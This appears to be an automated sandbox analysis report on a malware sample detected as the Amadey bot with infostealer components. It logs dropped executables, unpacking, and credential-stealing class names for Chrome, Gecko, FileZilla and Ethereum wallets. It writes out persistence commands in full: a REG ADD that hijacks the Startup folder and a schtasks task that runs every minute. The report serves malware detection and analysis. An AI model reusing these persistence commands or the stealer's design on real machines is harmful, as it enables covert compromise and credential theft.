Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03951E96	28_2_03951E96
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03952E8A	28_2_03952E8A
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03951EB4	28_2_03951EB4
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03952EDA	28_2_03952EDA
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03952E1C	28_2_03952E1C
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03950E03	28_2_03950E03
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03952E3F	28_2_03952E3F
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03951E44	28_2_03951E44
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03951E73	28_2_03951E73
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03951D87	28_2_03951D87
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03951DA5	28_2_03951DA5
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03952DA3	28_2_03952DA3
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03951DC8	28_2_03951DC8
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03951DEB	28_2_03951DEB
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03952D1E	28_2_03952D1E
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03951D00	28_2_03951D00
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03953D0E	28_2_03953D0E
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03951D23	28_2_03951D23
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03950D54	28_2_03950D54
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03951D46	28_2_03951D46
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03952D4C	28_2_03952D4C
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03950D72	28_2_03950D72
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03952D6F	28_2_03952D6F
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03951D69	28_2_03951D69
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Code function: 28_2_03952C8E	28_2_03952C8E
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Code function: 33_2_04A1E270	33_2_04A1E270
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Code function: 33_2_04A1D743	33_2_04A1D743
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Code function: 33_2_073A2568	33_2_073A2568
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Code function: 33_2_073AC2A0	33_2_073AC2A0
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Code function: 33_2_073A0AB8	33_2_073A0AB8
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Code function: 33_2_073A2AA0	33_2_073A2AA0
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Code function: 33_2_073A77C0	33_2_073A77C0
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Code function: 33_2_073A2DD0	33_2_073A2DD0

Source: V1yj2IcuOo.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: V1yj2IcuOo.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: V1yj2IcuOo.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: V1yj2IcuOo.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 337E.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 337E.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 337E.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 337E.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: cbfafth.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: cbfafth.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: cbfafth.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: cbfafth.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: hnbux.exe.32.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: hnbux.exe.32.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: hnbux.exe.32.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: hnbux.exe.32.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe	Section loaded: webio.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Section loaded: ntmarta.dll			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\

Source: V1yj2IcuOo.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Users\user\AppData\Local\Temp\337E.exe

Code function: String function: 0040E1D8 appears 44 times

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_00401995 Sleep,NtTerminateProcess,	0_2_00401995
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_004019C0 Sleep,NtTerminateProcess,	0_2_004019C0
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_004019A1 Sleep,NtTerminateProcess,	0_2_004019A1
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_004019AD Sleep,NtTerminateProcess,	0_2_004019AD
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_00401995 Sleep,NtTerminateProcess,	18_2_00401995
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_004019C0 Sleep,NtTerminateProcess,	18_2_004019C0
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_004019A1 Sleep,NtTerminateProcess,	18_2_004019A1
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_004019AD Sleep,NtTerminateProcess,	18_2_004019AD

Source: V1yj2IcuOo.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\cbfafth

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@21/29@43/8

Source: C:\Users\user\AppData\Local\Temp\D955.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\337E.exe

Code function: 21_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,GetEnvironmentStringsW,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

21_2_004019F0

Source: V1yj2IcuOo.exe

ReversingLabs: Detection: 32%

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\V1yj2IcuOo.exe 'C:\Users\user\Desktop\V1yj2IcuOo.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\cbfafth C:\Users\user\AppData\Roaming\cbfafth
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\337E.exe C:\Users\user~1\AppData\Local\Temp\337E.exe
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\AEC9.exe C:\Users\user~1\AppData\Local\Temp\AEC9.exe
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\D955.exe C:\Users\user~1\AppData\Local\Temp\D955.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\E6D3.exe C:\Users\user~1\AppData\Local\Temp\E6D3.exe
Source: C:\Users\user\AppData\Local\Temp\D955.exe	Process created: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe'
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN hnbux.exe /TR 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe' /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\337E.exe C:\Users\user~1\AppData\Local\Temp\337E.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D955.exe	Process created: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN hnbux.exe /TR 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe' /F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\337E.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\337E.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Windows\explorer.exe

File created: C:\Users\user~1\AppData\Local\Temp\337E.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\337E.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\337E.exe

21_2_004019F0

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5592:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Mutant created: \Sessions\1\BaseNamedObjects\152138533219352125563209
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4608:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1404:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2872:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2836:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\337E.exe

Command line argument: 08A

21_2_00413780

Source: 28.2.AEC9.exe.aa0000.0.unpack, LrKq74P0l2u7ZgBMrw/A2raUsl5KrFdtyb1D4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.2.AEC9.exe.aa0000.0.unpack, LrKq74P0l2u7ZgBMrw/A2raUsl5KrFdtyb1D4.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Users\user\AppData\Local\Temp\337E.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\337E.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: V1yj2IcuOo.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\ruxeli_habewe3.pdb source: V1yj2IcuOo.exe, 00000000.00000000.239212777.000000000041D000.00000002.00020000.sdmp, cbfafth, 00000012.00000000.350780264.000000000041D000.00000002.00020000.sdmp
Source:	Binary string: JC:\hacol56\mebovozosatuve89_luyipuz.pdb source: 337E.exe, 00000015.00000000.372058624.000000000041D000.00000002.00020000.sdmp
Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: D955.exe, 00000020.00000003.468266674.0000000002630000.00000004.00000001.sdmp, hnbux.exe, 00000022.00000002.510046620.0000000000400000.00000040.00020000.sdmp
Source:	Binary string: C:\venage23_dede\69\wefixikusolaba_46 bi.pdb source: hnbux.exe, 00000022.00000000.472516249.000000000041D000.00000002.00020000.sdmp
Source:	Binary string: _.pdb source: 337E.exe, 00000015.00000002.464236334.0000000004220000.00000004.00000001.sdmp, E6D3.exe, 00000021.00000002.518966654.0000000005DD5000.00000004.00000001.sdmp
Source:	Binary string: (C:\venage23_dede\69\wefixikusolaba_46 bi.pdb source: hnbux.exe, 00000022.00000000.472516249.000000000041D000.00000002.00020000.sdmp
Source:	Binary string: C:\hacol56\mebovozosatuve89_luyipuz.pdb source: 337E.exe, 00000015.00000000.372058624.000000000041D000.00000002.00020000.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Unpacked PE file: 0.2.V1yj2IcuOo.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\cbfafth	Unpacked PE file: 18.2.cbfafth.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\AEC9.exe	Unpacked PE file: 28.2.AEC9.exe.aa0000.0.unpack :ER; :W;:ER; :R;.idata:W;.themida:EW;.boot:ER;:ER;.rsrc:R; vs :ER; :W;:ER; :R;
Source: C:\Users\user\AppData\Local\Temp\D955.exe	Unpacked PE file: 32.2.D955.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Unpacked PE file: 34.2.hnbux.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Unpacked PE file: 41.2.hnbux.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 28.2.AEC9.exe.aa0000.0.unpack, LrKq74P0l2u7ZgBMrw/A2raUsl5KrFdtyb1D4.cs

.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_00402263 push ebp; retf	0_2_0040226F
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_004012DB push ebx; ret	0_2_004012DC
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_0040C33E push esp; ret	0_2_0040C349
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_024822B3 push ebp; retf	0_2_024822BF
Source: C:\Users\user\Desktop\V1yj2IcuOo.exe	Code function: 0_2_0248132B push ebx; ret	0_2_0248132C
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_00402263 push ebp; retf	18_2_0040226F
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_004012DB push ebx; ret	18_2_004012DC
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_0040C33E push esp; ret	18_2_0040C349
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_023B22B3 push ebp; retf	18_2_023B22BF
Source: C:\Users\user\AppData\Roaming\cbfafth	Code function: 18_2_023B132B push ebx; ret	18_2_023B132C
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Code function: 21_2_0041C40C push cs; iretd	21_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Code function: 21_2_00423149 push eax; ret	21_2_00423179
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Code function: 21_2_0041C50E push cs; iretd	21_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Code function: 21_2_004231C8 push eax; ret	21_2_00423179
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Code function: 21_2_0040E21D push ecx; ret	21_2_0040E230
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Code function: 21_2_0041C6BE push ebx; ret	21_2_0041C6BF
Source: C:\Users\user\AppData\Local\Temp\337E.exe	Code function: 21_2_040CCC12 push es; ret	21_2_040CCC20
Source: C:\Users\user\AppData\Local\Temp\E6D3.exe	Code function: 33_2_073AE159 push A4073B3Eh; retf	33_2_073AE165

Source: C:\Users\user\Desktop\V1yj2IcuOo.exe

Code function: 0_2_0041AF20 LoadLibraryA,GetProcAddress,VirtualProtect,

0_2_0041AF20

Source: 28.2.AEC9.exe.aa0000.0.unpack, Gecko.cs	High entropy of concatenated method names: 'Scan', 'pmi0NNJxQ', 'GeckoRoamingName', 'GeckoLocalName', 't4wrMdpNOAtW5LSOUg', 'pqYrSvc2nwXM3ghmOQ', 'xFEfmHhExFrppTsGbM', 'MnIGxI7ZkoiLf05cQj', 'BmC9VumJGRaWMUnpBX', 'B7JqAiAnNmIAPhR6p8'
Source: 28.2.AEC9.exe.aa0000.0.unpack, CryptoHelper.cs	High entropy of concatenated method names: 'DecryptBlob', 'DecryptBlob', 'GetMd5Hash', 'gGqWxn7Rk', 'yFNfwrCOs92pugWBP4', 'aqcG899HWPoIXDfwkp', 'g9XCpsI6WICebugMyW', 'mn5rG8LoNVN4dKFkjy', 'PsrAtQSI3LjbOuTn0Q', 'JJ3GUTquHMmjwrhURt'
Source: 28.2.AEC9.exe.aa0000.0.unpack, Program.cs	High entropy of concatenated method names: 'mCTN2Igdy', 'Execute', 'SeenBefore', '.cctor', 'meswSu44f1NDACWLvCb', 'Nugp6v4on1oCaMD4V8V', 'xD1e244URfct8gYXxuT', 'zRymuJ4kg4bHVITDGgy', 'n1O7SJ4MP4QIEUMR8ZV', 'zMafHD4RywTkRmoUCMo'
Source: 28.2.AEC9.exe.aa0000.0.unpack, DownloadAndExecuteUpdate.cs	High entropy of concatenated method names: 'IsValidAction', 'Process', '.ctor', 'F3QAtSU37iWjukBadtd', 'riRBF1U8NBq2pfScoEs', 'ttyOmBUvJOLAS1DhxSc', 'H0G844UjgIuJttGVAf6', 'kWL5QpUQvUMnPFiJtnv', 'PYuEJWUhrulY3BOyQmu', 'ulo193U78LfnoXkb6oX'
Source: 28.2.AEC9.exe.aa0000.0.unpack, FileCopier.cs	High entropy of concatenated method names: 'qtyZb1D4g', 'CreateShadowCopy', 'lKq7740l2', 'FindPaths', 'ChromeGetName', 'ChromeGetRoamingName', 'ChromeGetLocalName', 'Dispose', '.ctor', 'QLP8PGk221k9abXLGS5'
Source: 28.2.AEC9.exe.aa0000.0.unpack, SystemInfoHelper.cs	High entropy of concatenated method names: 'CreateBind', 'GetProcessors', 'GetGraphicCards', 'GetFirewalls', 'GetBrowsers', 'GetSerialNumber', 'ListOfProcesses', 'GetProcessesByName', 'ListOfPrograms', 'AvailableLanguages'
Source: 28.2.AEC9.exe.aa0000.0.unpack, GeoHelper.cs	High entropy of concatenated method names: 'Get', 'j3QPkSkUKsqFkhhRpvj', 'MZ8URBkklJMUcd5mUdV', 'LjDRePkMD63QEftUDxH', 'zCcUfxkR8XhsIqGKWTR', 'xtA3O8kaC6Cd9oXqqM9', 'jJ1i5gkNlFkih6LbvPf', 'n9XSTEkOpmmOjXjKAt6', 'Q4DEmGkXY7DgXxKPn6f', 'ggyab2k4AociDiGF8bt'
Source: 28.2.AEC9.exe.aa0000.0.unpack, GdiHelper.cs	High entropy of concatenated method names: 'OC1iQ64OO', 'GetWindowsScreenScalingFactor', 'MonitorSize', 'Parse', 'FIMtiShvc', 'SxZAG4Urqv8CN65t1h2', 'GIuAKuUHdaq6NZ9HbUv', 'I0Qjx2Uy2bxnnHikKOy', 'K7sHo2UuUdh8bj75FnH', 'NDLdLbUYlrwfPR05Mvs'
Source: 28.2.AEC9.exe.aa0000.0.unpack, DataBaseConnection.cs	High entropy of concatenated method names: 'get_RowLength', '.ctor', 'ParseValue', 'ParseValue', 'GetRowCount', 'Dnx41KpYM', 'lnFnXtJTI', 'ReadTable', 'anEc7mQHb', 'QeJviYYdS'
Source: 28.2.AEC9.exe.aa0000.0.unpack, EthRule.cs	High entropy of concatenated method names: '.ctor', 'GetFolder', 'GetScanArgs', 'cXkyPQ4KOKHfDku8SUS', 'GSPwee4zhkpTGet7H3O', 'XHHmnRobXosfnLllbu1', 'tHY0F54tDg3Ajnl3DyI', 'iI65C84n77OIci53Ryw', 'IBBHVUo4H2VqAOJxxVb'
Source: 28.2.AEC9.exe.aa0000.0.unpack, EndpointConnection.cs	High entropy of concatenated method names: '.ctor', 'RequestConnection', 'TryGetConnection', 'TryGetArgs', 'TryVerify', 'TryGetTasks', 'TryCompleteTask', 'Dispose', 'Dispose', 'f3ijVkg7Bx3TOiRYTW'
Source: 28.2.AEC9.exe.aa0000.0.unpack, StringDecrypt.cs	High entropy of concatenated method names: 'ql2YwVfhV', 'Vbbd83OZC', 'H5Z2sDAxK', 'Decrypt', 'RhDC5lyF0VX1DqGSck', 'i6REHmuJLlmw5tcU6L', 'GF2PQDZUhmN3RqPlge', 'k3OVTSVlS4AuX9amga', 'BgcrW4rUVqDxVB0vcy'
Source: 28.2.AEC9.exe.aa0000.0.unpack, OgYEvcBorHBMu44Et3/XZwwfK652XQcKSQZki.cs	High entropy of concatenated method names: 'GUX5hXZfsh', 'EQA5NKQTj3', 'Pyp5lg5Ysr', '.ctor', 'kLjw4iIsCLsZtxc4lksN0j', '.cctor', 'vATGCoCks2wwmkoCXD', 'sevJtqfJLmrj5UBfLC', 'GAOp2uX3hyjIrvYUWG', 'SjgJZWOH1Sn0gau3Y2'
Source: 28.2.AEC9.exe.aa0000.0.unpack, FileZilla.cs	High entropy of concatenated method names: 'Scan', 'en7CMEXVS', 'eulKgMyL0', '.ctor', 'obKaqKWmW2ppQCKu7d', 'BbyhOfTog0p8alCMSK', 'EyEFHHxq87dEaQ21yP', 'BOLYk7FYNVcFKr9nvB', 'W28l3F3XoQFIUqwyAZ', 'vBkdUI8tsX0PF6EJ5i'
Source: 28.2.AEC9.exe.aa0000.0.unpack, Chr_0_M_e.cs	High entropy of concatenated method names: 'Scan', 'SdTFPNTcT', 'bkeQIbneO', 'd0im97fxN', 'sJj5K7EOP', 'CI9eCBK48', 'MakeTries', 'M3lEUMdPC', 'F95bija62XHx4WuZO3', 'wdqPsqMdwnPXF9pAU4'
Source: 28.2.AEC9.exe.aa0000.0.unpack, CryptoProvider.cs	High entropy of concatenated method names: 'BCryptOpenAlgorithmProvider', 'BCryptCloseAlgorithmProvider', 'BCryptGetProperty', 'MikJd7sdC', 'BCryptImportKey', 'BCryptDestroyKey', 'BCryptDecrypt', 'Decrypt', 'C2tw2Eit1', 'ji1ARmMNX'
Source: 28.2.AEC9.exe.aa0000.0.unpack, LrKq74P0l2u7ZgBMrw/A2raUsl5KrFdtyb1D4.cs	High entropy of concatenated method names: '.cctor', 'YEwk8ISyxL3VH', 'kuwm2Xlcpo', 'nVhmh4Q2aV', 'LOimNGN5if', 'iDfmleqRZa', 'ANNmPX34aU', 'Or0mT5N9X9', 'aQSmbhPEIM', 'wN7m4U24h4'
Source: 28.2.AEC9.exe.aa0000.0.unpack, LhvciJhbm4LTwPJg04/qxW0EO2C1Q64OO6IMi.cs	High entropy of concatenated method names: 'yesk8ISSeni4V', '.ctor', '.cctor', 'Be0GOFaZK3VSnsXTwpy', 'i4QNEdaq41ILMfX0ugu', 'Eby3VEaP1QVG1tSlcDm', 'TRaCDxaVuXAY2QEclHu', 'dsE0x3ayPGfA3HVdWmK', 'vyPV1Uaux8w2kvMNXWj'

Persistence and Installation Behavior:

Yara detected Amadey bot

Show sources

Source: Yara match	File source: 00000022.00000002.514819186.00000000025C2000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.515067062.000000000261E000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hnbux.exe PID: 5232, type: MEMORYSTR

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\cbfafth

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\cbfafth	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\D955.exe	File created: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\337E.exe	Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\hnbux.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN hnbux.exe /TR 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\hnbux.exe' /F

Creates an undocumented autostart registry key

Show sources

Source: C:\Windows\SysWOW64\reg.exe

Key value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Hooking and other Techniques for Hiding and Protection:

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 8889
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 8889 -> 49729
